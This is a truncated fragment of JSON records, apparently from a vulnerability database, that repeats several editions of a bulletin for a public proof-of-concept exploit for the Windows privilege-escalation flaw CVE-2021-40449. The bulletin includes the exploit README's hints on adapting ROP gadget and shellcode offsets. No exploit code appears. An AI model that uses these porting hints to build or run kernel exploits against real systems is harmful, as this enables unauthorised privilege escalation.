"THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006672.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-10T04:00:02", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-11-10T04:00:02", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-10T13:00:23", "differentElements": ["modified"], "edition": 15}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "12bed9286bccd8970ddcb97ba1fed8af", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-10T15:35:36", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-10T16:00:10", "history": [], "viewCount": 88, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006675.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-10T16:00:10", "rev": 2}, "score": {"value": 5.9, "vector": "NONE", "modified": "2021-11-10T16:00:10", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-10T16:00:10", "differentElements": ["modified"], "edition": 16}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "45ad6f6a669e6122666ea2eec3eb37fc", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-11T00:42:17", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-11T01:01:25", "history": [], "viewCount": 88, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006699.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-11T01:01:25", "rev": 2}, "score": {"value": 5.6, "vector": "NONE", "modified": "2021-11-11T01:01:25", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-11T01:01:25", "differentElements": ["modified"], "edition": 17}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "25cd6b0d9ce230f4af9c01b8d19612bb", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-11T06:44:29", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-11T07:01:10", "history": [], "viewCount": 89, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006675.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-11T07:01:10", "rev": 2}, "score": {"value": 5.6, "vector": "NONE", "modified": "2021-11-11T07:01:10", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-11T07:01:10", "differentElements": ["modified"], "edition": 18}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "778acf389d80740c28f7790526b53c1f", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-11T12:40:55", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-11T13:01:27", "history": [], "viewCount": 91, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006729.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-11T13:01:27", "rev": 2}, "score": {"value": 5.6, "vector": "NONE", "modified": "2021-11-11T13:01:27", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-11T13:01:27", "differentElements": ["modified"], "edition": 19}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "98a18ac6c5c0a606ff1a61e29861e98a", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-11T14:51:55", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-11T16:01:23", "history": [], "viewCount": 96, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006732.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}], "modified": "2021-11-11T16:01:23", "rev": 2}, "score": {"value": 5.6, "vector": "NONE", "modified": "2021-11-11T16:01:23", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-11T16:01:23", "differentElements": ["modified"], "edition": 20}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "a4a279581feccf9cfd626f38ec5e95f5", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-12T06:33:17", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-12T07:03:03", "history": [], "viewCount": 116, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006670.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}], "modified": "2021-11-12T07:03:03", "rev": 2}, "score": {"value": 5.6, "vector": "NONE", "modified": "2021-11-12T07:03:03", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-12T07:03:03", "differentElements": ["modified"], "edition": 21}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "d2b4490228715ce28256c7828496c61f", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-15T04:28:19", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://github.com/Kristal-g/CVE-2021-40449_poc", "reporter": "Kristal-g", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-15T07:04:30", "history": [], "viewCount": 147, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["B45F7278-2C20-5C06-B834-59D960047852", "059CF457-59E4-5647-A0BC-0014C543D6D3", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006672.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}], "modified": "2021-11-15T07:04:30", "rev": 2}, "score": {"value": 5.6, "vector": "NONE", "modified": "2021-11-15T07:04:30", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-11-15T07:04:30", "differentElements": ["modified"], "edition": 22}, {"bulletin": {"id": "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "vendorId": "GITHUBEXPL:KRISTAL-G-CVE-2021-40449_POC", "hash": "7daff914836016c469902fdf0c03a415", "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-40449\nMore info here: [https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html](https://kristal-g.github.io/2021/11/05/CVE-2021-40449_POC.html)\n\n## Compiling\nI did a bit of a hack with the MinHook library so it supports (somewhat partially) the 2019 Platform Toolset. \nThat's why I included the lib files with this repo. \n \n## Windows Version Adapting\nTo adapt this repo to another Windows build you have to fix:\n* ntoskrnl.exe gadgets offsets for the rop chain\n* `MiGetPteAddress` offset in ntoskrnl.exe\n* The size of palettes, according to the (undocumented) size of `PDEVOBJ` (look at `win32kbase!PDEV::Allocate`)\n* Shellcode offsets of various structs (`shellcode_offsets` struct)\n", "published": "2021-11-07T16:15:19", "modified": "2021-11-23T07:42:13", "cvss": {"score": 4.6, 